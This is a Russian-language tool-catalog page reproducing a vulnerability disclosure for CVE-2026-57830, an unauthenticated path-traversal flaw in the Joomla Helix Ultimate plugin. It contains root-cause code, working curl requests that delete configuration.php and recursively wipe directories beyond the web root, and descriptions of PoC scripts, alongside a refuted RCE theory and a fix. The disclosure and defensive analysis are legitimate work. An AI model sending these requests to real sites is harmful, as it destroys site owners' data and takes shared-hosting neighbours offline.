Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-57830 — Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830 | Kitploit
Инструменты/GitHubGitHub/is4yev/cve-2026-57830
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCTFPenetration TestingLearning & Education
GitHubis4yev/cve-2026-57830

CVE-2026-57830

Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830

Репозиторий
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Helix Ultimate Framework — Неавторизованный обход пути (Path-Traversal) с произвольным чтением/удалением файлов/папок

Это подтвержденная уязвимость типа DoS + межсайтовый доступ к файловой системе, НЕ RCE. Теория об эскалации до RCE (удаление configuration.php для повторного открытия установщика Joomla) была проверена на практике и опровергнута — см. раздел "Эскалация до RCE — проверено и опровергнуто" ниже. Не представляйте это как RCE в любом отчете без предварительного построения реальной цепочки.

Повышение уровня серьезности (2026-07-06, второй проход): параметр path НЕ ограничивается корневой директорией Joomla, как предполагалось изначально — встроенный фильтр ввода PATH в Joomla не блокирует один компонент обхода /../, поэтому данная ошибка достигает (чтение: полный список каталогов; запись: удаление файла или рекурсивное удаление содержимого папки) чего угодно в файловой системе, к чему имеет доступ пользователь веб-сервера, а не только файлы внутри установки Joomla. В любой конфигурации общего хостинга, где несколько сайтов/арендаторов живут как соседние каталоги под одним и тем же пользователем ОС (очень распространено: cPanel "addon domains", подписки Plesk с общим пользователем, большинство бюджетных хостингов), один сайт на Helix Ultimate позволяет анонимному посетителю уничтожить все остальные сайты на той же учетной записи. См. "Обход пути выходит за пределы JPATH_ROOT полностью" ниже для живого доказательства.

Компонент: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), входит в состав практически каждого шаблона Joomla от JoomShaper (на основе Helix Ultimate). Протестированная версия: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD по состоянию на 2026-07, последний коммит 2026-06-30) Автор: Amin İsayev / Proxima Cyber Security


Краткое описание

plugins/system/helixultimate/src/Platform/Media.php предоставляет методы deleteMedia(), getFolders() и createFolder() через точку входа com_ajax в Joomla в helixultimate.php::onAfterRoute(). Эти три метода вызывают только Session::checkToken() (простая CSRF-проверка, удовлетворяемая собственным токеном сессии любого анонимного посетителя — его можно извлечь из HTML главной страницы сайта) — вообще нет вызова authorise() / проверки входа. Это не согласуется с соседним методом uploadMedia() в том же классе, который корректно требует core.edit на com_templates.

Поскольку это системный плагин, onAfterRoute() срабатывает на каждом запросе независимо от того, какой шаблон сейчас активен — уязвимый путь кода доступен, пока плагин установлен и включен (а он по умолчанию включен на любом сайте, использующем шаблон JoomShaper на основе Helix Ultimate).

Причина

plugins/system/helixultimate/helixultimate.php (~line 464-489):

root@kitploit:~
if ($this->app->isClient('site'))
{
    $option  = $this->app->input->get('option', '', 'STRING');
    $helix   = $this->app->input->get('helix', '', 'STRING');
    $request = $this->app->input->get('request', '', 'STRING');
    $action  = $this->app->input->get('action', '', 'STRING');

    if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
    {
        switch ($action)
        {
            case 'upload-blog-image': Blog::upload_image(); break;   // has core.create/com_media check
            case 'remove-blog-image': Blog::remove_image(); break;   // has core.delete/com_media check
            case 'view-media':        Media::getFolders();  break;  // NO authorise() check
            case 'delete-media':      Media::deleteMedia(); break;  // NO authorise() check
            case 'upload-media':      Media::uploadMedia(); break;  // has core.edit/com_templates check
        }
    }
}

plugins/system/helixultimate/src/Platform/Media.php:

root@kitploit:~
public static function deleteMedia()
{
    $output['message'] = Text::_('JINVALID_TOKEN');
    Session::checkToken() or die(json_encode($output));   // ← only CSRF, no authorise()

    $path = $input->post->get('path', '/images', 'PATH');
    $type = $input->post->get('type', 'file', 'STRING');

    if ($type === 'file')  { File::delete(JPATH_ROOT . '/' . $path); }
    else                    { Folder::delete(JPATH_ROOT . '/' . $path); }  // recursive
}

$path проходит через фильтр ввода PATH в Joomla (InputFilter::cleanPath()). Две независимые особенности делают это опасным:

  1. Для доступа к чему-либо внутри корневой директории веб-сервера даже не требуется обход пути — path разрешается непосредственно относительно JPATH_ROOT, так что любой абсолютный путь от корня (/configuration.php, /administrator/..., /media/...) уже доступен.
  2. Обход выше корневой директории также работает. Регулярное выражение cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) допускает ровно одну последовательность точек/дефисов/буквенно-цифровых символов, расположенную сразу после начального блока [A-Za-z0-9_/-]+ — и одиночный начальный / уже удовлетворяет этому начальному блоку, поэтому строка типа /../sibling_dir проходит проверку: / (блок 1), .. (разрешенная последовательность точек), (обычный завершающий сегмент). Фильтр был написан так, чтобы отклонять сегмент, который новый компонент с точкой, но никогда не предусматривал, что одна последовательность может находиться сразу после самого первого символа строки. Цепочка НЕ проходит (каждый последующий сегмент после первой последовательности точек должен начинаться с символа, отличного от точки) — поэтому выход ограничен ровно уровнем каталогов выше , но все, что ниже этого уровня (произвольная глубина), затем становится доступно обычным образом, так как дальнейшие сегменты являются обычными компонентами пути без точек.

Воздействие

  • Неавторизованное удаление любого отдельного файла в корневой директории Joomla → тривиально configuration.php → мгновенный, полный отказ сайта (фатальная ошибка "No configuration"), один HTTP-запрос, нулевая аутентификация.
  • Неавторизованное рекурсивное удаление любой папки (type=folder) → например, /administrator, /components, /media → гораздо более разрушительно, фактически уничтожает установку.
  • Неавторизованное раскрытие информации через view-media (Media::getFolders()): выводит список всех файлов изображений, всех имен подпапок и абсолютные серверные пути для любого пути относительно корня, без необходимости аутентификации (используется ниже как безопасный сигнал обнаружения).
  • Полностью выходит за пределы корневой директории веб-сервера (на один уровень вверх, затем неограниченная глубина оттуда) — достигает соседних каталогов установки Joomla. На общем хостинге, где несколько сайтов используют одного пользователя ОС (cPanel addon domains, подписки Plesk и т.д.), анонимный посетитель одного сайта на Helix Ultimate может перечислить и удалить файлы, принадлежащие всем остальным сайтам на той же учетной записи. Это превращает ошибку одного сайта в радиус поражения всей учетной записи сервера.
  • Эскалация до RCE не найдена — см. ниже.

Живая проверка (2026-07-06)

Проверено на одноразовом экземпляре Docker (Joomla 5.4.6 + плагин Helix Ultimate 2.2.6, свежая установка, полностью анонимная сессия браузера — без входа, без куки, кроме той, которую Joomla выдает каждому посетителю):

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/configuration.php" \
    --data-urlencode "type=file" \
    --data-urlencode "<csrf-token-from-homepage>=1"

{"status":true, ...}

$ curl http://TARGET/
"No configuration file found and no directory was found for installation."

Обход пути полностью выходит за пределы JPATH_ROOT — живое доказательство (2026-07-06)

Создал соседний каталог по отношению к корневой директории Joomla (/var/www/canary_sibling, соседний с /var/www/html), принадлежащий тому же пользователю, что и веб-сервер (www-data), чтобы отразить реалистичную конфигурацию общего хостинга, заполненный файлом, изображением и подкаталогом:

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "<csrf-token>=1"

{"status":true, "path":"/../canary_sibling",
 "images":["/var/www/html/../canary_sibling/proof.png"],
 "folders":["subdir"], ...}

Полное чтение/перечисление каталога полностью за пределами установки Joomla, включая разрешенные абсолютные серверные пути, с нулевой аутентификацией.

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "type=folder" \
    --data-urlencode "<csrf-token>=1"

Результат: все файлы внутри canary_sibling (обычный файл, изображение и подкаталог) были удалены. Выжила только теперь пустая папка верхнего уровня canary_sibling, и только потому, что в этой лаборатории она находилась непосредственно в /var/www, принадлежащем пользователю root — для удаления пустого элемента каталога требуется разрешение на запись в его родительский каталог, которого у www-data нет в /var/www. В реальной конфигурации общего хостинга (например, /home/user/domains/siteA.com/public_html и /home/user/domains/siteB.com/public_html как настоящие соседние каталоги, оба полностью принадлежащие одному пользователю учетной записи), этого последнего барьера не существует, и все дерево каталогов соседнего сайта может быть удалено.

Эскалация до RCE — проверено и опровергнуто (2026-07-06)

Очевидная следующая теория: на сайте, где папка installation/ никогда не была удалена после установки, удаление configuration.php снова сделает доступным мастер установки, позволяя атакующему завершить его и создать нового суперпользователя. Это было проверено непосредственно в лаборатории и не подтвердилось:

  1. Папка installation/ была скопирована обратно в корневую директорию (имитация сайта, забывшего ее удалить) — configuration.php все еще присутствовал и был действителен на этом этапе.
  2. Результат: собственный загрузчик ядра Joomla (до того, как запускается любой плагин, включая уязвимый) немедленно начал выдавать 302 Found -> /installation/index.php для каждого запроса, включая собственный POST запрос эксплойта к option=com_ajax&helix=ultimate&...&action=delete-media. Уязвимый путь кода никогда не выполняется в этом состоянии — ядро Joomla сначала все замыкает на себя.
  3. Следствие: два состояния не образуют цепочку.
    • Если installation/ присутствует: сайт уже полностью открыт для захвата любым посетителем, независимо от этой уязвимости — это уже существующая, не связанная с данной ошибкой, неправильная конфигурация Joomla, а не то, что вызывает или требует эта ошибка.
    • Если installation/ отсутствует (нормальное, безопасное состояние): данная уязвимость может только удалять файлы, она не может создать папку installation/ обратно — нет способа повторно открыть установщик, имея только примитив удаления.

Вывод: никакая комбинация состояний не превращает это в RCE. Подтвержденный, честный потолок воздействия — неавторизованный, безусловный, гарантированный DoS всего сайта (плюс неавторизованное раскрытие информации, отмеченное выше). Это уже является критическим по серьезности результатом само по себе и не требует завышенных заявлений о RCE.

Исправление: createFolder() НЕ доступен без аутентификации (предыдущая версия была неверной)

В предыдущей версии этого документа утверждалось, что Media::createFolder() также доступен без аутентификации (в качестве третьего примитива наряду с удалением/чтением). Это было неверно и исправлено после полного анализа диспетчеризации плагина:

  • createFolder(), а также реальные точки записи содержимого файлов в кодовой базе (Request.php: fwrite(), File::write() для файлов стилей шаблонов/веб-шрифтов/кэша CSS), все находятся в plugins/system/helixultimate/src/Platform/Request.php, диспетчеризуются только через Platform::handleRequests() <- onAfterRespond().
  • onAfterRespond() явно требует $this->app->isClient('administrator'), а onAfterRoute() отдельно перенаправляет любого не вошедшего в систему посетителя до этого момента. Этот путь действительно аутентифицирован для администратора — подтверждено чтением точного условия шлюза, а не просто отсутствием вызова authorise() внутри самого метода (в отличие от сайтовых deleteMedia()/getFolders(), у которых действительно нет шлюза).

Подтвержденный набор возможностей без аутентификации, окончательный: только удаление (файла или рекурсивное удаление папки) + чтение (список папок/изображений). Нигде в этом плагине нет примитива записи содержимого без аутентификации. Именно поэтому не было найдено цепочки RCE даже после целенаправленного поиска — RCE принципиально требует примитива записи, а данный класс ошибок его не имеет.

PoC обнаружения — helix_ultimate_detect.py

Неразрушающий. Использует action=view-media (список папок/файлов) в качестве сигнала подтверждения — ничего не удаляет.

Эксплойт / PoC DoS — helix_ultimate_delete_poc.py (название сохранено для преемственности; подтверждает только DoS)

Разрушающий. Требует явного указания --delete <path> для любого воздействия. Флаг --rce удаляет configuration.php и проверяет /installation/ исключительно для проверки того, присутствует ли эта папка случайно (в этом случае сайт был независимо открыт независимо от этой ошибки) — это не представляет собой реальной эскалации, вызванной данной уязвимостью; см. "Эскалация до RCE — проверено и опровергнуто" выше. Используйте только с письменного разрешения.

Устранение

Требуются два независимых исправления, любое из них по отдельности уже остановит это:

  1. Добавить ту же проверку авторизации, которая уже есть в uploadMedia(), к методам deleteMedia() и getFolders() в src/Platform/Media.php — как минимум core.edit/core.delete на com_templates (или com_media, по образцу Blog::remove_image()), перед выполнением любой операции с файловой системой.

Amin İsayev / Proxima Cyber Security — 2026. Только в образовательных целях или для авторизованного тестирования.

Скачать инструмент
/sibling_dir
начинает
/…
..
../../..
/…
одним
JPATH_ROOT
  • Переключатель фронтенда (isClient('site')) в onAfterRoute() подключает только пять действий: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, который проверяет core.edit/com_templates). create-folder среди них нет.